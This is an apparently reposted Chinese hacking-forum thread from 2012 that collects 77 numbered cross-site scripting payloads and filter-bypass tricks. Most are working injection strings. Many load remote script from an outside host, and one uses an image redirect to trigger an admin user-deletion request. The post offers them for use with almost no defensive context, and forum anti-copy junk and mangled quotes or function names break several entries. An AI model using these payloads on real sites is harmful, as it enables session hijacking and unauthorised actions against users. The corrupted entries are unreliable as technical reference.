找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3567|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。5 g2 }8 N5 h# D6 c

, w* k* h5 S0 } (1)普通的XSS JavaScript注入
/ O$ V! P; r3 F& h% u <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
9 f, Q2 a7 @4 t5 b$ D- m& h. A/ E: Y% B) y8 ]9 J" H
(2)IMG标签XSS使用JavaScript命令
3 {6 n1 `  s# Q; F: _# ? <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>& \  h$ o+ l4 W
, {0 n; t* c; g% q! [( N+ Y, k9 W
(3)IMG标签无分号无引号
) q4 T0 |+ S+ ?/ R <IMG SRC=javascript:alert(‘XSS’)>2 E6 U& U% }  D* Z* x' ^
  ]& \$ P2 g+ c; E  D! v
(4)IMG标签大小写不敏感& |* I+ a) V1 N
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
$ i. S1 L/ I5 u* v) N+ Z# W* ]0 r. \* y8 }) [0 G
(5)HTML编码(必须有分号)
' n' W' g! f4 y <IMG SRC=javascript:alert(“XSS”)>
' h$ C5 U2 S% q- }- b6 M
% z! X8 `& @& c" S- u5 c* p% V (6)修正缺陷IMG标签8 S: K8 q# H% s3 u7 ^
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
4 Z. G" w, ]0 j, O5 g# t) ]! ~7 D0 A5 w+ F$ j' B& P
(7)formCharCode标签(计算器)
& I2 h) D# h& s <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>  F% ~4 @/ c* @
+ }( J" i( r0 x# N7 j
(8)UTF-8的Unicode编码(计算器)
3 ?% @$ y; `. A1 i <IMG SRC=jav..省略..S')>; B. a% H) a0 c! @$ a6 ~

1 s8 F7 R2 l: z2 ?& { (9)7位的UTF-8的Unicode编码是没有分号的(计算器)" e- ~+ V3 y/ a4 N" b, x$ O
<IMG SRC=jav..省略..S')>
. x5 X, _0 p" I, b& ?3 u
$ m1 e" V8 U. v+ U+ C (10)十六进制编码也是没有分号(计算器)" r% `$ i( S: H, w; x3 C# |9 f
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>+ R1 ?# Y0 F% Q5 {: z9 u

2 H( G) O4 X1 m8 Z! E" l5 E (11)嵌入式标签,将Javascript分开
7 g/ V4 A- l" `9 l( M <IMG SRC=”jav ascript:alert(‘XSS’);”>  h) k( ]/ z8 I- J! K  O
' _2 |4 C  [1 y, e! N6 q0 s- X
(12)嵌入式编码标签,将Javascript分开
/ c) x, A- ^+ r' b( m <IMG SRC=”jav ascript:alert(‘XSS’);”>/ g3 W% N- Z, Q' r+ h, {) U$ f$ w5 `

2 E  c0 y! b' O; w; V0 Q (13)嵌入式换行符
$ c1 E( `* a" v. s* Z7 C <IMG SRC=”jav ascript:alert(‘XSS’);”>$ o8 o. g3 @7 J8 B9 {* t

$ J8 I+ ]" P9 v6 D1 {2 ` (14)嵌入式回车! P8 U8 ~7 a+ A
<IMG SRC=”jav ascript:alert(‘XSS’);”>0 Q; p" y7 m* E$ p/ Q: v' e
8 y3 D( f0 Y* t7 d
(15)嵌入式多行注入JavaScript,这是XSS极端的例子: H/ x. j9 K* H
<IMG SRC=”javascript:alert(‘XSS‘)”>
4 n% r# ~% C( i% M# x" @
& _5 y2 z' N) @% ^' U7 v+ M (16)解决限制字符(要求同页面)1 u4 L6 w$ R3 x' e" [$ `& |2 ]! t
<script>z=’document.’</script>
4 h7 \1 u  K, F, X  w% v) ` <script>z=z+’write(“‘</script>0 O6 V7 Z6 G, O, [4 q; q
<script>z=z+’<script’</script>
: W9 S# m- F8 c5 b2 I* ` <script>z=z+’ src=ht’</script>) `1 K! w" {' f* Y
<script>z=z+’tp://ww’</script>" I9 r- }- [- p1 e
<script>z=z+’w.shell’</script>2 a9 C( w9 |+ p
<script>z=z+’.net/1.’</script>
: v4 _9 B  Y; a% k9 I/ m <script>z=z+’js></sc’</script>
( W! D1 H: N; T; m. U* u <script>z=z+’ript>”)’</script>3 w6 f/ Z, X+ I( Y0 F- X: b
<script>eval_r(z)</script>
7 y# t9 H( ~; f/ J. O' ~: [
: Q1 D1 _: P( P (17)空字符
2 u/ _% \2 |* g! v% V3 n perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
* J- H0 [' L7 O) v& }- }5 q
+ C5 |0 s- Z" H# n5 b (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
/ J8 Q% k* q9 o) |) B6 s+ `& u1 x perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
( h8 a" }( y1 J0 Z) z( G
2 N( {8 F" `$ r) _ (19)Spaces和meta前的IMG标签
; E5 ^) V: F: \$ @& L0 ~4 c <IMG SRC=”   javascript:alert(‘XSS’);”>
+ S' w# k0 ?7 x0 H+ M/ ~0 `
) @6 |4 A, j5 i" T4 e8 B; ]- N (20)Non-alpha-non-digit XSS
1 U7 z, V& W, K <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
- @" l2 _9 i3 V2 X. {
) y2 v# J. t$ j4 B$ D, @5 P (21)Non-alpha-non-digit XSS to 2
, ?; ^$ s/ M: F5 v: \1 P! s7 r" R <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
% Z' ~% U9 K7 ?  e4 N1 c  q- f  d2 {1 K& m
(22)Non-alpha-non-digit XSS to 3+ b. c2 U1 M" i7 N' i2 e4 D$ s6 O
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>- g( J" ~$ P! Z' C; H0 z

! z! R1 f+ r; `7 R* h/ H- C (23)双开括号
" b* K$ x$ R) g) V- I <<SCRIPT>alert(“XSS”);//<</SCRIPT>9 o" F$ U( D2 n; H5 J* \. c& y

5 v' O/ y0 L) I& v. C6 e# j1 E  N (24)无结束脚本标记(仅火狐等浏览器)7 g6 c* B4 K) b; Q, e/ R
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
3 j6 ?- Q: E. T0 c
* r1 q; V& s6 b" b3 T# j( b+ z (25)无结束脚本标记2
+ D3 M- t$ ~3 [ <SCRIPT SRC=//3w.org/XSS/xss.js>- ^/ ?* t- y& n+ j0 a

% ~4 A- n8 j% B7 q& f! O (26)半开的HTML/JavaScript XSS
. a  A8 T- d+ w6 p" S <IMG SRC=”javascript:alert(‘XSS’)”
; t$ R$ g; D9 V" y4 E- P+ T# d6 g
3 ?$ V8 x3 ^, F# D' T- r/ N6 q) F (27)双开角括号
' U; L# R8 D  P4 O% P& Y) E8 } <iframe src=http://3w.org/XSS.html <% W( N$ d' Z* [' J+ {+ {( F9 y& i

6 L/ w, `- q$ ]9 z) d) i, o5 k (28)无单引号 双引号 分号
( F+ T9 ^; H' ?0 _$ U. y <SCRIPT>a=/XSS/
( W4 `% I. z' F! ]4 t6 @* q alert(a.source)</SCRIPT>
! a: m/ u5 J* \! `# q5 \, T9 o( x; Y" k- Q
(29)换码过滤的JavaScript: o  F; V- O; O3 ?$ k% T* [
\”;alert(‘XSS’);//, G7 M5 m0 d0 y, P+ z% \! }4 N* N7 d

/ J! `; K. u# V5 y! k/ ~& o (30)结束Title标签
7 q  L- }5 W" R: K  K  S& ] </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>2 f- A3 e5 {8 P& Q4 L( D6 G7 U

3 u$ b' p2 C8 V( d (31)Input Image9 q8 A. Y( q- ]/ _1 t; W, U* f/ H
<INPUT SRC=”javascript:alert(‘XSS’);”>/ q$ Q7 D' \$ W5 O5 s
6 W9 A' z9 I1 g
(32)BODY Image3 w- d, c) ?8 K/ X2 m* j
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
4 G& t7 n2 K  n' w; {4 e! v! \1 Q6 F* r  F& k1 `8 w
(33)BODY标签" k4 P0 b6 X" c$ C" E. c
<BODY(‘XSS’)>8 z' |* t* q( f5 u/ c5 g+ o7 X

. l7 ]& Q$ K5 Q5 E; R5 {+ W (34)IMG Dynsrc9 \. l' c/ T1 {# u) f
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
" I7 M" k& [0 m4 [" ?2 }% }/ Y2 m% v( H2 L: ^, l+ n
(35)IMG Lowsrc
: T  M5 t/ S) j- C' } <IMG LOWSRC=”javascript:alert(‘XSS’)”>; _* w! Q% F3 i4 a- |' e8 {

$ d2 N; c6 v8 J (36)BGSOUND& q2 ]1 L5 K9 H
<BGSOUND SRC=”javascript:alert(‘XSS’);”>; a7 |9 T- b1 H
' r/ C* S1 r$ Y( J! ?9 Z1 p/ ~
(37)STYLE sheet
0 |- {% ]. v  K3 k4 i+ U. l <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>' E; _; M; Q4 M: @% ^% _
0 ^  }% K$ }! \4 J/ ~1 [  ]+ t
(38)远程样式表5 U0 [* _( c2 ?0 U' ]$ N
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
( x; W" [1 H% q: G1 d( L% D+ C0 q8 W% `- d
(39)List-style-image(列表式)$ e8 L1 B+ F* Y; a, N$ Q. a  A3 K
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS- Y6 |9 o5 R5 D0 R. C) ^4 D) u2 k2 H

5 ]# n$ Q) r& P. H! s (40)IMG VBscript- T" h4 }1 n4 {, x! d
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS2 A% b0 Y& B4 ?( T3 r

" [0 r. @3 I$ Q+ ~9 Y: \ (41)META链接url9 \- R% k4 u# v5 H7 t, F+ Q
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
/ ?5 u* H# b. |7 J
2 V) x; M- _! W; |0 N (42)Iframe
7 p6 p3 e$ L% R  m! k& T; g* A <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>9 L3 ]) M4 a% ]( I8 G. W: j
  T+ y' q% ?# k# O) J! F- Z. x
(43)Frame
  W+ B, _0 j2 k& @* V; g& M <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>$ V/ m/ s8 I" m+ t* `- c. ~1 g9 \

- G- R2 c. R. [' C& c! z (44)Table
$ ]2 S2 F5 T' E0 L# q: w0 } <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
/ j, t9 P: R& `. Z: |# A5 t0 k+ X$ ?2 w! A/ n6 X* x
(45)TD
9 ]+ h1 V( ^; k/ r) [+ ?; g/ Y <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
2 s& L( a% ?3 k. m) s. e0 V, e4 _; G: q/ I% k; A
(46)DIV background-image" d+ t; N3 G/ W# N; R  f! a. g; m3 w7 y
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
- n- m+ E* S: X6 r- W. i
% a3 w1 Y/ F% ^5 k/ E' @! ~ (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)9 k; Q' C8 B. ^( }2 X$ @
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>, d3 H2 [( V$ E0 c( g5 K& p- }: A
' ~7 l- n& d$ e
(48)DIV expression
* T4 _. a- ~2 E) u <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
& V/ `5 O# \2 T6 w  o6 F/ e# J! a' Q3 p3 d, ^7 Q& i8 Y
(49)STYLE属性分拆表达
0 a$ ], j8 g; h' b% I <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
$ ]0 y+ A$ \0 e; e
- e& Z( |. ~. G1 V! H' [0 m (50)匿名STYLE(组成:开角号和一个字母开头); I, M: }& l. {2 d- d5 i
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>4 G% Q3 i+ [4 _% n5 j. m0 M! w' ~* B

- r( t$ Y# q* l( q0 u2 j (51)STYLE background-image6 [+ O' a, [8 E+ T# k
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
, f/ ?. ^+ k% A; F, U! N
8 Q2 s4 ]8 D; t. F  @0 x$ t* u (52)IMG STYLE方式3 E- N9 U6 o& b. N7 \( d9 w0 L
exppression(alert(“XSS”))’>0 `% C5 s( f9 s- c8 X

$ r! w% K% x  `& [ (53)STYLE background; X4 p1 ]/ v3 b& i; Q# a% ]' G
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
  R. P/ i2 Q! J2 k! e/ H6 I4 i& p! p2 a. a
(54)BASE
: a5 y3 P: c% Y. B% P <BASE HREF=”javascript:alert(‘XSS’);//”>
! X/ g5 r! k+ X' H7 k+ U. B: R
+ h2 V$ r. g) W& w7 i6 p (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS  J( t7 x5 K3 z( e4 X  E
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
5 |, T" m. I) c7 z# Z  G  ~# X1 w2 A- z; [* Q
(56)在flash中使用ActionScrpt可以混进你XSS的代码
- M) I: I' G; J$ z, s+ x a=”get”;2 B3 s/ Z# _9 m" \6 A/ F( n) D
b=”URL(\”";# g$ n% E9 r7 N& }0 d$ H
c=”javascript:”;( E, d6 ^+ D  p% L- ?" j
d=”alert(‘XSS’);\”)”;( f; ~3 l( N; g* M" w1 Q/ A7 t+ r
eval_r(a+b+c+d);
7 I" i# E. S6 P2 ]8 M. S
; Q$ B2 d* F% I7 M" _9 B (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
/ Y% B9 W" t+ ` <HTML xmlns:xss>
; d" S2 B# s$ _& c- X0 [3 v" j <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>6 T  g4 X8 j# O' p
<xss:xss>XSS</xss:xss>
. K6 B. r# V& N% S# H* L  w: d </HTML>0 O, F% f4 i0 Q- C) `! b; M0 u

" J: C$ q- K4 t( e. G- g) g* u$ B (58)如果过滤了你的JS你可以在图片里添加JS代码来利用
( S8 i, l: v5 _3 @0 M7 ^6 a# p <SCRIPT SRC=””></SCRIPT>
" ], j" \+ q2 A$ p( n
& f$ o" u7 [0 T. g (59)IMG嵌入式命令,可执行任意命令
. P$ V- }, u/ ?1 T6 G <IMG SRC=”http://www.XXX.com/a.php?a=b”># _& ]0 d0 J. N2 ], m( G' ~
: Y& J8 ]  T: g9 J  O
(60)IMG嵌入式命令(a.jpg在同服务器)3 Z$ q; b% J2 B  W( y
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser$ _  I; R# p& h# E

  k; R% X2 M3 a1 n (61)绕符号过滤
0 r) V, @9 X, B. Y, s( [, { <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>/ J/ K/ c# G3 X1 o' D) ~! ^
3 h3 T2 k- W; a- }
(62)
6 J& G7 m" k  y) ~0 x( U& W9 @" x <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
4 B5 E0 B# Z8 M6 [- y$ I8 N5 F
7 P. u" o$ ?. x: z (63)! K. I7 p. E' I( h8 v" V% ^
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
7 h; q6 ?9 A- K, i& J8 N3 V( L. p  H& M( q+ X
(64)
! t- _* m2 M# @2 `1 T9 ^6 e <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>3 l" L! `" u0 W' z* B
3 m# l9 G( }1 H6 T$ u- G$ `  L
(65)
. `; H5 b7 N* c( G4 G7 L' k8 a, D4 p <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>' A9 F3 j- l* r3 S7 t7 s! t
0 W: B2 j; ~4 b2 c
(66)
- _+ [8 s# T  ~. l <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>% a6 z. C# g+ Z. O: [( h& Z; X" Y6 W

) ~2 i' M: g, ^' J  x6 b! q2 c (67); k! a; m# N+ D9 C+ B4 I3 @
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>$ p; D; Q9 Q! @) u

2 U# n4 M+ x* p' [ (68)URL绕行& c1 g3 y% N1 p  F# s& x1 R
<A HREF=”http://127.0.0.1/”>XSS</A>
% ^( Q! f& l+ Y. A$ h+ b/ ^
+ r8 R& v+ y, l4 Z6 k (69)URL编码  B. s" I" K4 Q1 }+ [: r
<A HREF=”http://3w.org”>XSS</A>
) p7 {, D, T# o* ]/ F! c# U( F6 V
+ |, M# n. z" \: J (70)IP十进制
: I, r1 V& x2 Z+ o+ p/ `2 U <A HREF=”http://3232235521″>XSS</A>9 A  k. S  C( h4 h

6 z6 b5 S' `7 I6 V1 \8 d* B (71)IP十六进制
1 z9 H) h% M# x <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
- A  Y  R7 K0 C. N+ i0 F# {0 C, f
4 J+ y- c9 g  C6 t% j" K (72)IP八进制
" V9 c( m+ }5 V% e <A HREF=”http://0300.0250.0000.0001″>XSS</A>
( b( T5 s4 p0 v7 S% t+ B$ G  b' G  s, T6 h3 X2 `, H2 z1 A; n
(73)混合编码
! s  M7 [: a9 n  G# ` <A HREF=”h3 `! Q. j' x5 U# f: i* R5 k
tt p://6 6.000146.0×7.147/”">XSS</A>4 `- E/ E- e, n+ X* t
% e5 x- g; S# E9 R8 n% t
(74)节省[http:]9 e1 W$ [7 K% h$ z
<A HREF=”//www.google.com/”>XSS</A>7 e; P: N  S; ^

: G% [; w; ]) }; u  Q" p (75)节省[www]( k8 z. n3 J9 P
<A HREF=”http://google.com/”>XSS</A>2 S9 M4 q: R! f* e

# C5 q3 f0 q8 ?, x* j9 f% B) Y (76)绝对点绝对DNS0 Z! I- F* L* i3 R# b7 H
<A HREF=”http://www.google.com./”>XSS</A>
3 m3 d1 t) L: ~. w( z) I8 y
8 p# |/ b/ ]- G; x: L (77)javascript链接
% N9 f$ C" O4 h+ P1 d" h <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表